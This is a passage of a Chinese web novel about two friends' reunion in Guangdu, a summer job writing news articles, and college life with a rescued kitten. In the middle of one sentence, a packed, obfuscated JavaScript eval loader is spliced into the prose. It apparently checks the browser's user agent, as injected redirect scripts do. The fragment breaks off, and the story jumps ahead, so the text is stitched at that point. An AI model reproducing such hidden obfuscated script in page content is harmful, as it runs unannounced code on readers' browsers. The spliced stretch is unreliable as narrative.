绿皮火车缓缓驶过一片又一片静谧青绿的田野,伴随着引擎哄哄的声音,最终停靠在遍布着高压电网的站台下。 到蜀都了。 暖烘烘的阳光被风扇吱嘎吱嘎地吹散,哄得人昏昏欲睡。林羽翼却没有睡意,她正窗外发呆,直到被火车里人群涌动的声音惊醒,她单手触了触心口,心脏依旧跳得飞快。 “别紧张了。”林羽翼小声嘟囔着跳下车铺,弯腰拿起行李箱,正要往前走,又想起自己好像忘了什么。 回头往上铺看一眼,岳程成躺在那儿睡得正香,丝毫没发现火车已经到站。 “岳程成,到蜀都了。”林羽翼顺手在车铺栏杆上“噔噔”敲两下,睡梦中的岳程成被吓一跳,忽的蹦起身,差点撞到脑袋。 “谁……哦哦,到站了。”刚睡醒时,他朦胧的眼底冒着不悦的凶光,和平日里那副乖巧阳光男孩的模样截然不同。不过一秒,他神色清醒过来,眸中漾起灿烂笑意,仿佛刚才那丝狠厉的目光只是林羽翼的错觉,他揉揉眼睛,说: “谢谢你提醒我啊,不然我得睡过头。” “不用谢,都是同学嘛。”林羽翼拖起行李箱,跟着人群往火车出口处走。岳程成本来想帮她提箱子,却被火车上拥挤的人流拦住,下了火车,走到站台上,他才勉强追上她: “你朋友在哪儿?她一个人来接你吗?要不要我让我爸妈开车送你们?” “车站外。是一个人。不用。”林羽翼和岳程成聊了一路,可这会儿,她忽然觉得他真吵。可能是即将见到师涟的原因吧,她的心情分明是无比紧张的,可又是那么迫不及待,只想快些见到她,快些、再快些,不愿意有一刻分心。 人潮拥挤,挤得人喘不过气。 踮起脚尖往远处望,盛夏的蜀都,连空气都被灼得歪歪扭扭。 林羽翼本来以为,自己要花一段时间才能找到师涟。事实并非如此,在她目光眺望向远方的第一秒,她便在纷纷攘攘的人群中,看见了师涟的身影。 然后,与她对视。 隔着几十米炽烈扭曲的日光与空气,目光在空中相交。 “师涟——!”林羽翼眼睛亮得像是夜空中的明月,她不知哪儿来的力气,一路上的疲惫与燥热都被一扫而光,整个人轻巧地拖着行李箱钻出人群,直直奔向师涟的方向。 见面前的紧张尽数被扔到一旁,只剩下心里无尽的雀跃欢喜。 师涟同样向她走来。 行李箱被扔到一旁,林羽翼重重撞进师涟怀里,撞得师涟后退两步,小皮鞋在地面踩出“哒哒”声。 清新的海盐薄荷味扑鼻,林羽翼抬头,笑得热烈:“师涟,好久不见!” “好久不见。”师涟脸上笑意温软柔和,她微微低头,认真与林羽翼对视,似乎想看清她眼底的每一丝情绪。 “诶……师涟,”林羽翼仰着头,忽然意识到,“你、你又长高了?” 林羽翼在女生中已经很高了,可是师涟比她还高一点点。师涟穿着带跟的小皮鞋,比很多男生都高,这会儿她们挨在一起,师涟几乎比她高了小半个头。 林羽翼记得,高三体检时,她是168cm,师涟是170cm。她在读大学后,蹭蹭往上冒了两厘米,本以为能追上师涟的身高,没想到还是矮了一头。 “长了一点点。”师涟语气依旧温和,眼底笑意却似乎更盛,“你不也长了?” “太过分了!我以为我能和你一样高呢!”林羽翼视线往下,落在师涟及腰的长发上,“头发也是……我不知道要留多久,才能长这么长。” “是呢。”师涟抬手,轻轻抚过她发丝末端,“怎么感觉,比起高三,你的头发长度没怎么变呢?” 一年过去,林羽翼的头发当然长长了些,只是,她以前习惯了有师涟帮忙梳头,上了大学后,她总是忘了梳,以至于头发长得乱七八糟,像是微微烫过一样,反而显得更短。 “还不是因为以前有人帮我梳头,现在没有了,不习惯。”林羽翼狡黠眨眨眼。 “怪我?”师涟笑。 “怪你。”林羽翼说。 “好,怪我。”师涟点头。 一年未见,显然她们之间没有任何生疏。 林羽翼笑得明媚,她正准备把一旁的行李箱提上,才转身,一个身影便飞奔而来,在她之前握住了行李箱把手。 “羽翼!你都不等等我!”岳程成弯腰大口喘气,抬手抹掉额头的汗珠,对师涟笑,“你就是师涟同学吧?川城大学的学霸?我是岳程成,是羽翼的大学同学,刚刚在车上听她说起过你。” 不知是刻意还是无意,岳程成往林羽翼的方向移了半步,快要与她并肩。 师涟的目光扫过他笑意盈盈的脸,又看看脸上同样带着笑的林羽翼,她的目光依旧柔和,只是一瞬之间显得疏离淡漠许多,她淡淡说: “你好,我没听她提起过你。” 她的话语,显得过于尖锐,刺得岳程成脸上本就生涩的笑意更僵了些。 林羽翼倒是不觉得有什么问题,师涟对陌生人向来是这个态度。 林羽翼笑着解释:“我和岳程成虽然是同学,可我们在实践里才认识的,刚好都是蜀城人,都坐火车到南站,一路上多聊了几句。” “哦。”师涟轻轻点头,很自然地向岳程成伸出手。 岳程成下意识想握手,却被师涟冷淡地避开,她垂眸,看向下方:“行李箱,我来拿就好。” “怎么能让女生搬东西呢?”岳程成下意识想这么说,可是师涟冷淡的语气中,却附着不容置疑的气势,仿若上位者对下位者的命令,岳程成呆了两秒,下意识便把行李箱递给她。 “谢谢。”师涟点头,看向林羽翼,“他同路吗?” “大概……不同路吧。”林羽翼回想了一下,岳程成家在城里,她们在城郊广都,离得远呢。 “岳同学,我们先走了,我叫了车在外面等着,我们就不在这里耽搁太多时间了。”师涟说完,牵上林羽翼的手腕,便转身往停车区的方向走。 “岳程成,先拜拜啦!”林羽翼急急忙忙和岳程成告别,赶忙跟上师涟的步伐,她盯着师涟毫无情绪般美丽的侧颜,眼珠微转,忍不住抬手戳了戳。 “嗯?”师涟的脚步一下子放慢。 随着林羽翼指尖落在她脸上,她那层淡漠的外壳瞬间消散,又一次变得柔软。 “师涟,我怎么觉得……你和以前有一点点不一样了?”林羽翼靠她近一些,几乎贴着肩膀,小声说。 “有吗?”师涟轻声问。 “有!怎么形容呢?”林羽翼认真想了想,“虽然以前你对外人也很冷漠,毫不关心,会让陌生人觉得怕怕的。可是却也没有……嗯,没有刚才那么……” “那么锋利。”林羽翼想到了一个最恰当的形容词。 如宝剑出鞘,锋芒毕露。 大学一年的时间,果然还是让师涟改变了许多。突然决定转专业、毫不掩饰的锋利光芒,林羽翼又一次觉得离她好远。 一路上思绪飘飘忽忽,等林羽翼回过神来,汽车已经驶入广都城里。 林羽翼本以为,一年时间的流逝不会在一座城市里留下什么痕迹,她以为自己会看到熟悉拥挤的老街,一栋栋低矮破旧的平房,只有河边和沿街会有五六层高的小区。 然而—— 老街依旧拥挤,却不再是被自行车和脚踏三轮填满,小轿车的数量成倍增长,鸣笛声掩盖了人群的喧闹。 坑坑洼洼的路面被崭新的泊油路取代,在炽烈的太阳下,黑漆漆的路面甚至泛着光。 记忆中好几栋破旧的老楼已经消失,取而代之的是已经快要封顶的六、七层楼的小区房。南边的氮肥厂不见了变成了一座外观非常漂亮的小区楼,一栋栋白墙青瓦如别墅般的房屋立在那儿,人行道上还种着一棵棵银杏树。 抬头往远处看,一眼就能看见的,是一栋直抵云霄的金黄色大楼。三四十层的泛着金光的大楼,虽然离沪城外滩那些高楼差得远,但依旧颠覆了林羽翼对广都这座小城的认知。 “这……” 这还是她熟悉的广都吗? “很惊讶是吧?我刚放暑假回来的时候,也很惊讶。”师涟指向远方那栋大楼,“那是尔摩商城,我爸妈正商量着要不要在那里租个铺子,依旧是卖珠宝。明明寒假我回来的时候,它还没有封顶,这会儿竟然就要开业了,真快啊。” 林羽翼点点头。 师涟在信里向她提起过孙阿姨做的生意,刚开始,孙阿姨并没有着急着辞职去开店,而是趁着少有的空余时间,借着在酒店前台时工作攒下的“人脉”,挨个打电话去问人家公司,随即骑着三轮车,跑到各个公司门口,拿起大喇叭做宣传,搞“厂家直销”。她的“厂家”在哪儿呢?当然是在遥远的沿海,师叔叔从亲戚家的工厂里,一批又一批把这些珠宝背回蜀都。挣到的大多数钱呢,都返还给沿海的亲戚,孙阿姨和师叔叔只赚个辛苦费,怎么不算是厂家直销! 积累了一批经验,“厂家直销”做得越来越大,孙阿姨有了勇气,便下定决心辞职,在丁字街口租了个铺面,专做沿海带回来的珠宝首饰生意,和街对面其他几家老牌饰品店打对擂。人家走中高端路线,她们家就走低端线,主营银饰品,各种耳环、项链、戒指,都是从沿海工厂带回来的最新款,花样比那些老品牌多得多,价格还不到人家的十分之一。几个月下来,孙阿姨家饰品店销量还真不错,于是她便考虑着开新店,向外扩张扩张了。 过年时,孙阿姨还给林羽翼寄了两条漂亮的银项链,被她珍藏在衣柜深处。 小轿车停在拥挤的丁字街正中央。 林羽翼一下车,抬头便看见“香莲珠宝”四个银色大字,字旁边还设计了一个莲花logo。 孙阿姨名叫孙香印,“香莲”二字是由她名字中的“香”和师涟的“涟”字谐音组合而来。 这会儿是下午两点,店铺里却已经人满为患,服务员们口若悬河的介绍声,小姐妹们互相夸夸的灵脆笑声,还有激烈的讨价还价声,一股脑并进林羽翼耳膜里。 林羽翼粗略地扫一眼,和周围其他几家大牌首饰店不同,那些店里的顾客大多都是成年人——中年人居多,而香莲珠宝店里,却是年轻顾客居多,还有好些一看就是高中生。 眼看就走到店铺门口,林羽翼不知怎的,忽然生出了退却的想法。 在众多嘈杂的声音中,她听见师涟说:“我妈走的是物美价廉的路线,最便宜的那些款,一对纯银耳环只卖十来块钱,在学生堆里非常受欢迎。” 师涟拉住她的手,径直走进店里。 “诶……!”林羽翼猝不及防踉跄两步,跌在师涟肩膀上,她扶着师涟肩头站直,目光顺势掠过店里的一列列玻璃陈列箱,里面摆放着各类琳琅的小饰品,在灯光下发着光。 比起临阵脱逃,她的探究心分明更重些。 她会因为和师涟越走越远而紧张……甚至自卑、害怕,可同样,她想要像了解高中时的师涟一样,去了解现在的师涟。 “诶……!小鸟!”一道激动的中年女声响起,孙阿姨放下手头的工作,目光热烈朝林羽翼看来,“哎呀,这么久没见,小鸟又长漂亮啦!别拘谨,就把这儿当自己家,找个地方坐,阿姨马上来招待你。” “不用了,妈,你忙你的,我先带她上楼。”师涟摇摇头,喊道,随即她看向林羽翼,笑意温软压低声音,“等晚上闭店了,这里没人了,我再仔细和你介绍。” 她接着说:“我妈她卖饰品,虽然卖得便宜,可她总说真诚第一,服务第一,每天忙着招待店里的小顾客们,忙得很呢。那些初高中的小朋友,有些时候也不是一定要来卖饰品,或许是无聊了,想找个地方消遣消遣,有人聊着天,顺带把钱给花出去。” 林羽翼点头,她看得出,孙阿姨一张嘴应付着好几位小顾客,人都快忙出残影了。 “……嗯!”林羽翼对孙阿姨露出一个一如既往乖巧的笑,“阿姨,我先跟师涟上楼,不打扰你工作了啊!” 租了店铺后,师涟一家也从当初租的小房子里搬了出来,搬到了店铺二楼的屋子里。 孙阿姨也想上前,招待林羽翼,但手头的事儿实在放不开,她笑盈盈点头:“好好好,小鸟,你跟着师涟上楼去玩儿啊!她要是有招待不周的地方,你来找阿姨,阿姨给你做主!” “谢谢阿姨!”林羽翼眉眼弯弯。 和孙阿姨的几句寒暄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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去年,广都中学倒是进购了一批电脑,说是要开启多媒体教学,只可惜她们高三没赶上。 “学姐学长说需要,用来写写稿子,改改图片,还可以第一时间把文章发在论坛上。”师涟说着,打开衣柜,从里面拿出一套夏天的短袖睡衣,“林羽翼,你带睡衣了吗?刚刚一路上热着了吧?要不要换个衣服,去洗个澡?” “带了睡衣。”林羽翼目光从电脑上移开,看向师涟的方向,师涟今天穿着一件淡蓝色吊带长裙,这时她已经脱下轻薄的纱织外套,解下吊带裙的第一颗扣子。 林羽翼条件反射地垂眸,一下子把视线移回电脑上。 果然是太久没见吗?明明去年这个时候,她们一起洗澡都不会觉得害羞呢。莫名的,林羽翼起了身鸡皮疙瘩,她揉揉脸颊,闷声说:“你先去洗吧,我待会儿换衣服。” “嗯哼。”师涟轻柔的声音无法掩盖衣服窸窣声,“那你先坐电脑桌那儿休息会儿吧,桌下主机上的开机按钮,你摁一下,自己摸索着玩会儿?” “行。”林羽翼三两下拉开电脑椅,弯腰摁开电脑,屏幕一下子亮起,显示出“进入系统”的字样。 林羽翼对新奇玩意儿向来充满好奇,可这会儿她的思绪沉沉浮浮,杂乱无比,竟没有专研电脑的想法。她蜷缩在电脑椅上,听着身后窸窸窣窣的声音,呆呆地抱着膝盖。 等了好一会儿,终于,电脑上蓝光一闪,进入桌面。 林羽翼看见桌面上一排排文档,“摄影入门”、“新闻概论”、“报纸编辑”,还有一些林羽翼没见过的图标,Q丨Q、博客。 隐约间,林羽翼又好像在屏幕的反光间,看到了师涟的背影。 她和她,离了不过两米距离,却又一次让她觉得遥远。 “师涟……”林羽翼轻轻眨着眼,睫毛微微往下颤,稀稀疏疏地挡住眼帘,她埋着头,抿了抿唇,轻声问,“你为什么转专业呢?” 师涟没有立刻回答。 林羽翼蜷缩着,下巴撑在膝盖上,觉得迷茫又不安。她能感觉到自己的心跳,跳得很闷、很闷。 林羽翼没有注意,师涟不知什么时候走到了她的身侧,直到清新柔软的气息将她笼罩,她才倏地看见,师涟的白皙的胳膊从后面伸出来,握住了鼠标。 师涟的声音轻轻响起,就在她耳后:“因为不喜欢学医,所以不学了。” 师涟说着,轻轻笑着呵出一口气:“本来我也没想好要转去哪儿,但我发现我对摄影挺感兴趣的,刚巧,摄影部里许多同学在新闻系,我就想着,转去试试吧。” “这里是浏览器,你打开它之后,可以在搜索框里搜索感兴趣的消息。”师涟将鼠标指针移动到浏览器的位置,点开,一边教林羽翼,一边继续说,“学医和学新闻,一个理,一个文,一个铁饭碗,一个毕业了工作说不定都找不到……” “不可能!”林羽翼一下打断师涟的话,“你才不可能找不到工作,你那么优秀,又那么厉害。” 师涟笑了笑:“我只是想说,这两专业差别的确挺大的,不过,我想试试,那就试试吧。总不能像高中那样,学习就只是为了学习,为了一个虚无缥缈、自己压根摸不清楚、也摸不明白的目标去努力。好不容易长大,我总得做点儿喜欢的事情。” 喜欢的事情啊…… 那么自己,喜欢什么呢? 林羽翼不知道。 她安静地看着师涟熟稔操作鼠标,看着师涟点开浏览器,登上Q丨Q,听着师涟轻柔的介绍声。林羽翼忽然意识到,师涟那尽数展现的锋芒,一部分来自于哪里了。 或许是……来自于,不再拮据的家庭环境。 高中时的师涟和她一样——和哥哥欠债前的她一样,虽然不用为钱发愁,但总的来说还是穷,拥有的一切都是父母辛劳赚来的,舍不得一点儿浪费,舍不得一点儿铺张,生怕自己不小心做错了什么,就会不小心连累父母,让他们的辛劳打了水漂。因此处处担心,处处小心。 现在的师涟,再也不用担心了。 她可以自由自在地,去做自己想做的事情。 真好。 “林羽翼,你还在写故事吗?” 忽然,她听见师涟问。 40.第26章 “嗯?”林羽翼眨了眨眼,抬头,对上师涟探究却又无比认真的目光。 写故事? 思绪一下子被拉回两年前,高中的某个课间,林羽翼鼓起勇气,把自己笔下《绝代双骄》的衍生故事拿给师涟看的那时候。 师涟夸她写得很好,还鼓励她有空多写写,把花无缺和小鱼儿的故事写完整。林羽翼后来断断续续地写了几章,但终究没有写完,再后来,这个曾经让她大半夜心血上涌提笔写出的故事,被她彻彻底底抛在脑后,再没有碰过。 高三学不进去的时候,她也写过一些没头没尾的小故事,拿给组里的同学看,甚至在班上传阅。不知是出于情面还是她写得真的不错,大家都夸她写得好,说她有才。 大概……是出于情面吧。 林羽翼对自己还算有个清晰的认知。 大学过后呢?林羽翼倒是写过几篇短篇小故事,大多是在深夜,当她从图书馆出来,一个人到黑漆漆的操场上跑步时,灵感便会随着一蹦一蹦的脚步,弹跳进她的脑海里。这些故事都不长,大多只有一两千字,而林羽翼只当是写着消遣,再没有给任何人看过、提起过,包括师涟。 林羽翼没有回答师涟的话,可是师涟却读懂了她的神色。师涟的目光飘向角落里的行李箱,眸中漾起笑意:“你的故事本在箱子里吧?我记得以前,你都是随身携带着的。待会儿借我看看?” “我……”林羽翼脸颊一下子红了,红到耳根,“我可以拒绝吗?” “不可以,林羽翼小姐。”师涟轻笑着,摇摇头。发现林羽翼依旧在写故事后,她似乎开心了不少,眼底的笑意愈加浓郁。 师涟手指搭到林羽翼肩上,岔开话题,笑着问:“你这次回广都,是不是顺便要找暑假工?” “是呀。”林羽翼揉着发红的脸颊。 “我这里正好有份兼职,林羽翼小姐,你要不要一起来做一做?”师涟接着问。 “好……”林羽翼先是下意识点头,可立马她又犹豫了,“你指的兼职,该不会是在孙阿姨店里帮忙吧?唔,可以倒是可以,但不许给我发工资!” “你想哪儿呢?我妈店里人手够,不需要我俩去帮忙。”师涟埋下身子,伸手,指节轻叩电脑桌,“我指的兼职,在这里。” “啊——?”林羽翼盯着电脑,不解地瞪大眼睛。 师涟没有立刻解释,她熟稔地打开Q丨Q聊天框,点开其中一个名叫“新闻系暑期兼职”的群聊: “这是我们系一位导师创建的Q丨Q群,他每天会在群里下发一些新闻素材,有文字,有图片,我们只要把这些素材汇总成完整的文章,就能拿到工资。百字短篇五元一篇,千字长篇五十到一百元不等,写得数量够多的话,到月底还能拿到提成。” 林羽翼听得眼睛亮晶晶的,嘴巴不可思议地微微张开。写新闻,就有钱拿?用电脑写?怎么写?这是她从未接触过的领域,只是听着师涟这么说,她都觉得好奇心在撞。 等师涟说完,林羽翼像是个充满探究欲的乖乖学生一样,立马举起一只手,问个不停: “Q丨Q是什么?” “Q丨Q群又是什么?” “我们要怎么写呢?用手写吗?还是写在电脑里,就像计算机考试那样创建文档?可是写完后怎么交给老师呢?” “老师要这些稿子拿来干嘛?登给报纸吗?” 师涟无比耐心地,一个一个回答:“Q丨Q是一个聊天软件,有点像手机短信,通过它,你可以在电脑上远程与别人交流,看,就是这个小企鹅图标。我们导师说,虽然现在Q丨Q的用户并不多,但随着互联网络的发展,使用它的人会越来越多,直至,遍布全国各个角落。” 遍布全国?各个角落?可能吗?林羽翼不敢相信,毕竟,能买得起电脑的家庭是少数,像她这样从来没接触过电脑、连Q丨Q都没听说过的人,才是多数吧。 唔……倒也不是完全没接触过电脑,大一上学期的时候,林羽翼跟着室友报名了计算机考试,还去机房摸了几把电脑呢,可总的来说也没学到什么,也就是勉强能用手指一个一个戳着键盘打打字,用“DOS”软件编辑文档,别的,她就一窍不通了。 可是听着师涟这么说,她又觉得心驰神往,仿佛已经看到未来那个可以通过网络、足不出户便与他人交流的神奇新世界。 师涟动了动鼠标,演示给林羽翼看:“每一个聊天框,都代表着你和另一个人在聊天。Q丨Q群呢,则是多个人的聊天框。这是我的Q丨Q号,你可以记住它,待会儿你也注册一个Q丨Q,我们加好友。” “至于怎么写新闻?当然是用文本编辑软件,就和计算机考试里的一样。”师涟打开文档,顺便抽出电脑桌下的键盘,敲出一个个文字,“写好过后,再通过邮箱把文件发送给导师。” 师涟一个手指一个手指戳在键盘上,显然有些笨拙,她毫不在意地笑笑:“我们可以一起练习打字,老师说,只要坚持练习一周时间,我们打字的速度就能超过手写。如果能学会五笔输入法,打字速度还能更快。” 林羽翼认真点点头,心里已经燃起一把迫不及待的火焰。 师涟继续说:“我们写的稿子当然远达不到登报的标准,离标准的“新闻稿”还差的远着呢。所以呢,我听说,导师她创立了一个新闻网站,只要我们的稿子通过审核,就会被刊登到网站上,被来自各地的人们浏览。” “好……好厉害。”林羽翼由衷感叹道。 创立新闻网站?林羽翼忽然想,那是不是也可以创立故事网站,小说网站,把自己写的小故事发表在网站上? 林羽翼还没有问,师涟就看出她在想什么似的,说道:“你知道博客吗?你可以试试把你写的那些故事发表在博客上,说不定能积累一批忠实读者呢,是不是?林大作家。” “是……是可以试试啦。”林羽翼舔了舔唇,卧室暖色的灯光下,她的脸颊越来越红,不再是因为紧张,而是因为雀跃兴奋。 于是,林羽翼就这么开始了一段她以前从未接触过的、无比新奇的兼职体验。 每天早晨起床,林羽翼和师涟一起看看《新闻概论》、《故事》一类的专业书,埋头对着键盘背一背字母表,便开始一天的工作。 林羽翼和师涟分工合作,她负责写稿,师涟则负责排版审查,将最终写好的稿子发回到导师那儿。 林羽翼上手得很快,毕竟,导师已经提供了足够的图片和素材,她只需要把那些素材统合在一起,变成一整篇完整的文字,几乎完全不用费脑子,比写故事容易太多。 时间一天天过去,林羽翼打字速度越来越快,到了后来,她一天能写十来二十篇短篇稿。短篇写得愈加娴熟,她便试着写长篇,不过长篇比较费脑子,既要真实地阐明整件事,得注意没有逻辑漏洞,还得抓人眼球。有些时候,林羽翼头发都快被自己抓秃了,才能勉强写出一篇。 但报酬也非常丰厚。 平均下来,每写一篇长篇新闻,林羽翼都能拿到八十元的稿酬,而且她还能在师涟导师的网站上,看见自己的署名呢!就算一篇文章的浏览量只有几百,林羽翼依旧有种莫大的成就感。 这是林羽翼做过的所有兼职中,她最喜欢,也最想要长久做下去的一项。 空余时间,林羽翼还听从师涟的建议,摸索着注册了博客,名字就叫“飞翔的鸟儿”,她开始把自己写的小故事搬到电脑上,发表在博客里。 只可惜,和新闻稿的浏览量比起来,林羽翼博客的浏览量更是烧得可怜,最多不过几十个浏览。可林羽翼并没有觉得气馁—— 因为,她竟然收到了“写得真好看”、“作者文笔不错,引人入胜”这样的留言!还不止一个人!正是这些留言,给了林羽翼坚持下去的动力。 这是林羽翼大学后的第一个暑假,也是最快乐的一个暑假。 可惜快乐的时光总是如风一般,悄无声息地从指缝掠过,你能感觉到它温柔无比的触感,却怎么也抓不住它。 眼看就快要开学,林羽翼不禁苦恼,她还能摸得到电脑吗? 答案是,能。 开学前一天,林羽翼非常眼尖地在选修课小册子里,看到了计算机专业的公选课,网页设计与制作入门,林羽翼毫不犹豫地勾选了它。 就这样,林羽翼获得了自由进出机房的资格。 网页设计是她从来没接触过的领域,但真正从零开始学习,她才发现,并没有她想象得那么难。毕竟——如果真的很难,排课老师也不会把它排成公选课。 前面几节课,老师从互联网基础知识开始讲起,因特网与网页的概念、服务器与浏览器是什么、网站建设基本流程,由浅入深,慢慢引入各类代码,紧接着开始实操。 网页代码编辑并不难,大多就像林羽翼的医学课本里那些看似复杂的概念一样,只要背下来,背得滚瓜烂熟,自然就变得轻松易懂。 林羽翼学的东西越来越多,渐渐地,也算是入门了计算机。渐渐的她却发现,她所了解的计算机相关的知识,只是一个小小的圆圈,而圆圈外面,还有无穷无尽的知识等着她去探索。 除了登录Q丨Q和邮箱,进行远程交流、在博客或网站发表文章、利用软件编写网站,计算机竟然还能用来编辑照片! ——师涟攒够了钱,买了一台单反摄像机,每次拍完照片都得导进电脑里,用PS进行修图。见林羽翼兴趣浓厚,师涟干脆把自己的PS课本寄给她,特别厚一本,砖头似的。林羽翼一有空,便在机房里抱着书本认真专研。 于是,除了图书馆、寝室、兼职地点这几个地方,机房也成了林羽翼的日常打卡处,她一天天到处奔走,忙得不可开交。 这时的林羽翼才真真觉着,时间可真是海绵里的水,只要你肯用力挤,总能挤出来一些。 她不再跑去听力室练习英语听力,而是戴着耳机,在各个区域奔波的空隙,一边狂奔,一边听着iPod里的英文。亦或是吃饭的时候,用力刨一口饭,一边嚼着,一边看着旁边的题集,拿笔勾画着。 图书馆十一点半闭馆,有些时候,林羽翼一天的安排还没做完,她就在闭馆后,去自己勤工俭学的实验室里继续学习,一直到凌晨一两点再回寝室。可能是为了方便通宵做实验的学生,她们学校没有宵禁。 暑假靠着写新闻稿赚了一笔钱,开学后,各类奖学金零零散散地发下来,林羽翼的生活总算没有大一时那么拮据,大二的生活,过得忙碌、规律,又平淡。 打破这种平淡的,是一声细弱的猫叫。 有一天深夜,林羽翼从实验室回到寝室,刚一推开门,便被室友们的惊呼声吓了一跳。 “啊——!”宿舍早已熄灯,昏暗的台灯光线照耀下,几个室友慌慌张张跑到床铺中间的过道上,像是想要挡住什么,看清开门的人是林羽翼,她们才松口气,“呼,小鸟,你回来了啊……” “嗯呢,这么晚还没睡,干什么呢?”林羽翼放下书包,目光扫过鬼鬼祟祟的室友们。 回答她的,是一声无比细微的: “喵。” “……猫?”林羽翼茫然眨眼,几个室友往后退,把过道让开,林羽翼看见一只手掌大的瘦弱梨花小猫颤巍巍站在过道中央,小嘴巴里茫然地发出喵喵声。 看见林羽翼,小猫晃着一身刺猬般蓬松炸起的毛毛,一边喵喵叫,一边晃悠悠朝她跑来。 小猫停在林羽翼脚边,没有敢往前蹭蹭她,蓬松的灰毛在黯淡灯光下,如麦芒般发着抖,可爱极了。 林羽翼脑子还没反应过来,身体却已经无比小心地蹲下,手指轻轻碰上小猫脑袋,挠了挠。小猫亲昵地往她手掌上蹭,软绒绒的毛发手感好极了,林羽翼眼睛不由得发亮,她轻声问舍友: “哪儿来的猫?” “捡的。”舍友回答说,“猫妈妈好像被后山的黄鼠狼叼走了,我们看它一只小猫挺可怜的,就给捡回来了。” “是啊是啊,好可怜啊。”其他室友在一旁帮腔。 林羽翼忽的意识到:“你们该不会……想要把它养在寝室吧?” 林羽翼一问出口,整个寝室诡异地安静一两秒。 紧接着,生怕林羽翼不同意似的,一位室友急忙说:“它这么小的猫,在外面活不下去的!我们都是兽医,是医生,当然要救死扶伤,小鸟,你说是不是?” “是,可是……”林羽翼纠结道,“你们不怕被宿管阿姨发现吗?” “没事儿,呆呆很乖的,我们小心些就行。”室友说。 “呆呆?”林羽翼问。 “啊,啊呵呵,这个嘛……”室友的语气心虚一瞬,随即理直气壮,“是嘛!我们已经给它取好名字了!就等你回来商量着一起给它买点儿宠物用品!” “宠物用品?”林羽翼家没养过猫,但她的邻居们养过,不都是吃饭时喂喂剩菜就行么?还买什么用品? “当然要买宠物用品啦!你想想,它需要上厕所,那就得买猫砂是不是?它需要吃饭,那就得买猫粮,还有罐头。唔,还得打疫苗,我们有空去实验室薅点儿疫苗。” “怎么跟养小孩子似的。”林羽翼说是这样说,可是她挠着呆呆的小脑瓜,语气、目光都不知不觉变得柔软。 “现在养宠物都是这么养的,当小孩似的,宠物医院不就是这么开起来的吗?不然你以为我们毕业后去哪儿工作啊?总不能都去养殖场吧?”室友笑呵呵地说,“呆呆是我捡回来的,像是猫砂盆啊猫玩具啊这些东西,我出钱就行,至于她以后的伙食费,我们六个人平摊,大概每月每人三十元,可以吗?” 林羽翼有些心疼钱,然而看着呆呆可怜兮兮蹭着她手掌的模样,她不自觉就点了头:“行。” 平淡的生活里能有只小猫陪伴,倒也不错。 …… [师涟,这几天雅城的雨好大好大,白天下雨,晚上也下雨,没个尽头似的,不愧是“雨城”。 不过我听同学说,等雨停了,彩林立马就冒出来,五彩缤纷,特别好看!听说去年还成了校内的一大旅游景点呢,只可惜我当时忙着做兼职,都没去看一眼。] [如果我有相机就好了,这样我就可以去后山拍拍照,然后写一篇文章,配图发表在我的博客里。我都想好啦,我要这么写: “一场一场仿若没有尽头的秋雨过后,农大的后山仿佛被糖霜染过一层似的,火红的秋叶唰一下遍布山野,与金黄落叶相交织,勾勒出一幅绝美彩林画卷。” 怎么样?我的文笔进步不少吧?] [我的博客评论也总是夸我文笔好呢,可是我有试着给杂志社投稿,每周都投,每周都被拒稿,唉,挺打击人的。师涟,有些时候我会想,我真的适合写东西吗?每次这么想,我都会觉得有些挫败。] 回答林羽翼问题的,不是从川城大学寄来的一封信,而是师涟本人。 深秋,雨过天晴的第一个周末,师涟出现在了农大的图书馆门口。 林羽翼正埋头坐在服务点后,安安静静地看书,努力把那一条一条拗口的病理学知识刻进脑海中。 这学期开始,林羽翼不再选择工资更高、但无法分心的零工,她更多是在图书馆勤工俭学,虽然工资不高,但可以利用工作时间认真学习,她的时间实在是太紧了。 忽然,林羽翼感觉到一道白光从眼前晃过,微弱的“咔嚓”一声,似乎是有人在拍照。林羽翼没有抬头,专注在书本上,直到又一道白光闪过,晃着她的眼睛。 “这位同学——”林羽翼终于忍不住抬起脑袋,想要制止那位没有礼貌的同学,可她一抬头,又是接连几道白光闪过。 “咔嚓、咔嚓。” 师涟站在图书馆外,两手举着像火炮般巨大的单反相机,正对林羽翼的方向,她的手指按着快门,将林羽翼埋头专心看书的样子、惊愕又愤愤抬头的样子、茫然的样子、眼中迸出惊喜的样子,纷纷记录在镜头中。 “师、师涟!”林羽翼一下站起身,想要大声呼喊,可又立马想起自己在图书馆里,只能压低声音,一边用沙哑的气音喊着,一边向师涟挥手,“过来坐呀!” “咔嚓。”又是一张。 林羽翼挥在半空的手凝固一瞬,赌气般缩了回去,她坐回椅子上,一副懒得再理师涟的模样。 怎么回事?高中的时候,分明她才是那个不好好学习,就知道在师涟学习时瞎骚扰人的那个,怎么到了现在,反倒她成了被骚扰的那个? 师涟终于放下相机,露出脸上如秋雨般温和的笑,向林羽翼走来。林羽翼赌气的神色瞬间消散,她替师涟拉开服务台的栏杆,指了指旁边的椅子:“怎么突然想起来我这儿了?我还有十来分钟下班,你先在这儿坐坐?” “来看彩林。”师涟坐下,手掌撑着下巴,温柔看着林羽翼收拾书本,“来拍一拍林大坐着笔下风景绝美的彩林,顺便,讨一篇游记回去。” “你还会写游记呢——”林羽翼忽的反应过来,“我、我来写游记?” “嗯哼,我拍照,你写,我们分工合作,最后投稿到我们的校园报上,顺便同步发表在校园网上。稿酬两百,主笔占大头,如何?”师涟轻声道。 “我、我不行吧。”林羽翼下意识摆手,“我写的东西,还、还没登过报呢,每次投稿都被拒绝。” “怎么不行了,林羽翼?”师涟反问,她拖着下巴抬眸,明明仰视的角度,可明亮的目光里却满是笃定,“暑假期间,导师的Q丨Q群里三十来人,就你写的稿子最多,质量最好,现在开学了,我们导师还总是来我面前念叨,说着——” 师涟老成地模仿着导师的语气:“你那朋友怎么就不是我们学校的呢?怎么就不是我学生呢?学医?兽医?学什么医!跟着我写稿子呀!” “噗。”林羽翼被逗笑了,“或许是因为……在网上写稿不是那么难吧?不需要费脑子,只要把那些素材串联起来就好了,可是我自己原创的故事,就没那么讨人喜欢了。” “那么,你把游记也当成导师布置的稿子来写呢?”师涟手指轻敲自己的摄像机,“素材就在这里。我用相机记录,你只需要写。不要想那么多。” 